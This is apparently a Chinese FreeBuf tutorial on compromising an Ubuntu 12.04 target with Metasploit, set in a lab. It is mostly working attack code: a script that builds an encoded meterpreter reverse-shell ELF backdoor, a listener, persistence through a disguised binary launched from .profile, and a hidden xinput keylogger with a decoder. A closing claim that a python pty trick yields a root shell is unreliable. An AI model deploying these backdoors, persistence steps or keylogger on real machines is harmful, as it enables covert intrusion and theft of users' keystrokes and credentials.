Metasploit滲透Ubuntu 12.04攻擊測(cè)試演練
這篇文章寫(xiě)來(lái)主要是一次娛樂(lè)性的練習(xí)。共享出攻擊的細(xì)節(jié),其中包括一些經(jīng)過(guò)原作者修改過(guò)的各種來(lái)源的腳本文件。滲透的過(guò)程不是重點(diǎn),之所以發(fā)出來(lái)最大的原因主要是文章后半部分維持持久化攻擊的一些地方還是很值得學(xué)習(xí)的,順便大家也可以再次熟悉一下MSF框架。希望對(duì)大家有所幫助。
攻擊環(huán)境:
Ubuntu12.04LTS 32bit(靶機(jī),默認(rèn)的軟件安裝配置)
VirtualBox
Metasploit framework(最新版)
Debian Squeeze 64bit (攻擊機(jī))
首先,我們先準(zhǔn)備一個(gè)簡(jiǎn)單的二進(jìn)制ELF可執(zhí)行文件生成器的bash腳本,這樣后續(xù)工作就可以輕松很多。然后將腳本放在Metasploit的主目錄下:
- #!/bin/bash
 - clear
 - echo"************************************************"
 - echo " LINUX ELF BINARY GENERATOR FOR METASPLOIT *"
 - echo"************************************************"
 - echo -e "What IP are we gonna use ex. 192.168.0.1? \c"
 - read IP
 - echo -e "What Port Number are we gonnalisten to? : \c"
 - read port
 - ./msfpayloadlinux/x86/meterpreter/reverse_tcp LHOST=$IP LPORT=$port R| ./msfencode -t elf-e x86/shikata_ga_nai >> Executive
 - echo "Executive binarygenerated.."
 - chmod u=rwx Executive
 - ls -la Executive
 
運(yùn)行腳本之后進(jìn)行簡(jiǎn)單的配置之后我們就有了一個(gè)名為Executive的二進(jìn)制可執(zhí)行文件。
接下來(lái)需要我們?cè)诠魴C(jī)上啟動(dòng)一個(gè)監(jiān)聽(tīng)來(lái)等待靶機(jī)主動(dòng)連上來(lái),因?yàn)槲覀冞@里使用了全球流行的reverse后門(mén)哇咔咔!為了工作更加簡(jiǎn)(zhuang)單(bi),我這里又寫(xiě)了一個(gè)bash,然后將bash文件也放在Metasploit的主目錄下面:
- #!/bin/bash
 - clear
 - echo"*********************************************"
 - echo " METASPLOIT LINUX METERPRETER LISTENER *"
 - echo"*********************************************"
 - echo "Here is a network device listavailable on yor machine"
 - cat /proc/net/dev | tr -s ' ' | cut -d ' ' -f1,2 | sed -e '1,2d'
 - echo -e "What network interface are wegonna use ? \c"
 - read interface
 - echo -e "What Port Number are we gonnalisten to? : \c"
 - read port
 - # Get OS name
 - OS=`uname`
 - IO="" # store IP
 - case $OS in
 - Linux) IP=`/sbin/ifconfig $interface | grep 'inet addr:'| grep -v '127.0.0.1' | cut -d: -f2 | awk '{ print$1}'`;;
 - *)IP="Unknown";;
 - esac
 - echo " starting the meterpreter listener.."
 - ./msfcli exploit/multi/handler PAYLOAD=linux/x86/meterpreter/reverse_tcp LHOST=$IP LPORT=$port E
 
好了,監(jiān)聽(tīng)生成結(jié)束,然后就需要我們使用各種猥瑣的方式將后門(mén)木馬轉(zhuǎn)給Ubuntu靶機(jī)執(zhí)行。因?yàn)檫@里是練習(xí),所以我們直接將ELF文件放在受害機(jī)中執(zhí)行
此處有圖勝有聲
現(xiàn)在我們就已經(jīng)在靶機(jī)上成功執(zhí)行了這個(gè)“未知”的二進(jìn)制文件。當(dāng)我們雙擊這個(gè)文件時(shí)沒(méi)有任何反應(yīng)(所以這個(gè)時(shí)候后門(mén)注入才是王道),不過(guò)我們的攻擊機(jī)上的監(jiān)聽(tīng)已經(jīng)有了結(jié)果:
然后呢?我們現(xiàn)在有了一個(gè)meterpreter shell,不過(guò)應(yīng)該怎樣獲取到root權(quán)限呢?接下來(lái)的工作才是最有趣的部分:接下來(lái),我們將在靶機(jī)的home中放一個(gè)后門(mén)文件,并通過(guò)修改.profile文件做到每次靶機(jī)啟動(dòng)的時(shí)候都會(huì)執(zhí)行我們的后門(mén)。為了做到這步,我們首先需要下載靶機(jī)的.profile文件:
我們?cè)谖募屑恿艘稽c(diǎn)點(diǎn)內(nèi)容以保證每次登錄都能成功執(zhí)行我們的后門(mén)文件,這里加的是./executive(用的就是生成的后門(mén)文件名,這里我們可以起一些誘惑性大的名字比如sys.conf之類(lèi)的,但是要保證文件具有可執(zhí)行+x權(quán)限)
然后我們將修改后的.profile文件傳回靶機(jī)
接著我們上傳我們的ELF二進(jìn)制可執(zhí)行文件到靶機(jī)的home目錄里面,并改名為executive同時(shí)要保證文件具有RWX屬性
那么現(xiàn)在我們就獲得了一個(gè)簡(jiǎn)單的持久性后門(mén),每次靶機(jī)開(kāi)機(jī)我們這邊就可以獲得一個(gè)上線shell,并且文件時(shí)靜默執(zhí)行不含任何防腐劑的。
好的,第一步持久化我們已經(jīng)完成了,接下來(lái)我們做點(diǎn)什么呢?#p#
鍵盤(pán)記錄
Ubuntu自帶xinput所以我們可以利用這個(gè)做一個(gè)鍵盤(pán)記錄keylogger記錄靶機(jī)在X界面下的一些按鍵輸入。同時(shí)這里作者又寫(xiě)了一bash腳本(……):
- #!/bin/bash
 - export DISPLAY=:0.0
 - xinput list
 - echo -e "KBD ID ?"
 - read kbd
 - xmodmap -pke > /tmp/.xkey.log
 - script -c "xinput test $kbd" |cat >> /tmp/.xkey.log &
 - echo "The keylog can be downloadedfrom /tmp/.xkey.log"
 - echo "Use the meterpreter downloadfunction"
 - echo "Press CTLR+C to exit thissession, keylogger will run in backround"
 
寫(xiě)完之后我們將腳本放在靶機(jī)中然后執(zhí)行。當(dāng)然最好也來(lái)個(gè)登錄啟動(dòng)。
啟動(dòng)之后我們還需要手工找到鍵盤(pán)的KBD ID,然后輸入,這里是10
然后讓腳本去識(shí)別一下。腳本記錄的log文件默認(rèn)是放在/tmp文件夾下的,一段時(shí)間之后,我們下載下來(lái)分析一下。
這個(gè)腳本的生成的內(nèi)容地球人是看不懂的,所以我們將log文件down下來(lái)之后還需要進(jìn)行接下來(lái)的處理,這里作者寫(xiě)了一個(gè)bash文件生成了一個(gè)python腳本來(lái)解碼這段天書(shū)log(…),下面是解碼的bash腳本:
- #!/bin/sh
 - cat .xkey.log | grep keycode >xmodmap.pke
 - cat .xkey.log | grep 'key p' > xlog
 - rm -f .xkey.log
 - #Generating some Python to do the decoding
 - echo 'import re, collections, sys' >decoder.py
 - echo 'from subprocess import *' >>decoder.py
 - echo 'def keyMap():' >> decoder.py
 - echo ' table = open("xmodmap.pke")' >> decoder.py
 - echo ' key = []' >> decoder.py
 - echo ' for line in table:' >> decoder.py
 - echo " m = re.match('keycoded+) = (.+)',line.decode())" >> decoder.py
 - echo ' if m and m.groups()[1]:' >> decoder.py
 - echo ' key.append(m.groups()[1].split()[0]+"_____"+m.groups()[0])'>> decoder.py
 - echo ' return key' >> decoder.py
 - echo 'def printV(letter):' >>decoder.py
 - echo ' key=keyMap();' >> decoder.py
 - echo ' for i in key:' >> decoder.py
 - echo ' if str(letter) ==i.split("_____")[1]:' >> decoder.py
 - echo ' return i.split("_____")[0]'>> decoder.py
 - echo ' return letter' >> decoder.py
 - echo 'if len(sys.argv) < 2:' >>decoder.py
 - echo ' print "Usage: %s FILE" %sys.argv[0];' >> decoder.py
 - echo ' exit();' >> decoder.py
 - echo 'else:' >> decoder.py
 - echo ' f = open(sys.argv[1])' >>decoder.py
 - echo ' lines = f.readlines()' >>decoder.py
 - echo ' f.close()' >> decoder.py
 - echo ' for line in lines:' >> decoder.py
 - echo " m = re.match('keyss +(\d+)',line)" >> decoder.py
 - echo ' if m:' >> decoder.py
 - echo ' keycode =m.groups()[0]' >> decoder.py
 - echo ' print(printV(keycode))' >> decoder.py
 - echo 'Please see LOG-keylogger for theoutput......'
 - python decoder.py xlog > LOG
 - sed ':a;N;$!ba;s/\n/ /g' LOG >LOG-keylogger
 - rm -f LOG
 - rm -f xmodmap.pke
 - rm -f decoder.py
 - rm -f xlog
 - cat LOG-keylogger
 
現(xiàn)在我們運(yùn)行一下這個(gè)bash腳本,我們就可以看到效果了:
好,keylogger也搞完了接下來(lái)就是怎么樣獲取到root權(quán)限了。#p#
獲取root權(quán)限
在這里,因?yàn)槲覀兊暮箝T(mén)不是root執(zhí)行的所以當(dāng)我們執(zhí)行sudo su的時(shí)候是會(huì)報(bào)錯(cuò)的
這里有一個(gè)繞過(guò)的好方法,就是利用自帶的python來(lái)獲取一個(gè)root shell(如果仔細(xì)看過(guò)我之前VPN滲透那篇文章的同學(xué)應(yīng)該記得這個(gè)trick):
python -c “import pty;pty.spawn(‘/bin/bash’)”
這樣我們就成功獲取到了一個(gè)root級(jí)別的shell,整個(gè)過(guò)程就完滿完成了。
后記
CentOS, Debian Squeeze等有些系統(tǒng)默認(rèn)是不帶xinput的所以keylogger的部分就沒(méi)辦法完成了。
另外,要想防止這個(gè)鍵盤(pán)記錄其實(shí)也很簡(jiǎn)單,只要去掉xinput的可執(zhí)行權(quán)限就可以了
chmod a-x /path/to/xinput
當(dāng)然,即便是目標(biāo)機(jī)器上沒(méi)有自帶xinput那難道就會(huì)難倒我們么?拜托我們都已經(jīng)有了meterpreter shell了好么。
最后附上作者做的良心的視頻Demo(已搬回墻內(nèi),不謝!):
高清視頻請(qǐng)自行下載:http://pan.baidu.com/s/1jGpAVWE
有梯子的土豪點(diǎn)這里:http://www.youtube.com/embed/_k_DtYhIOpY
[文/FreeBuf小編xia0k 參考來(lái)源:astr0baby.wordpress.com




























 
 
 


 
 
 
 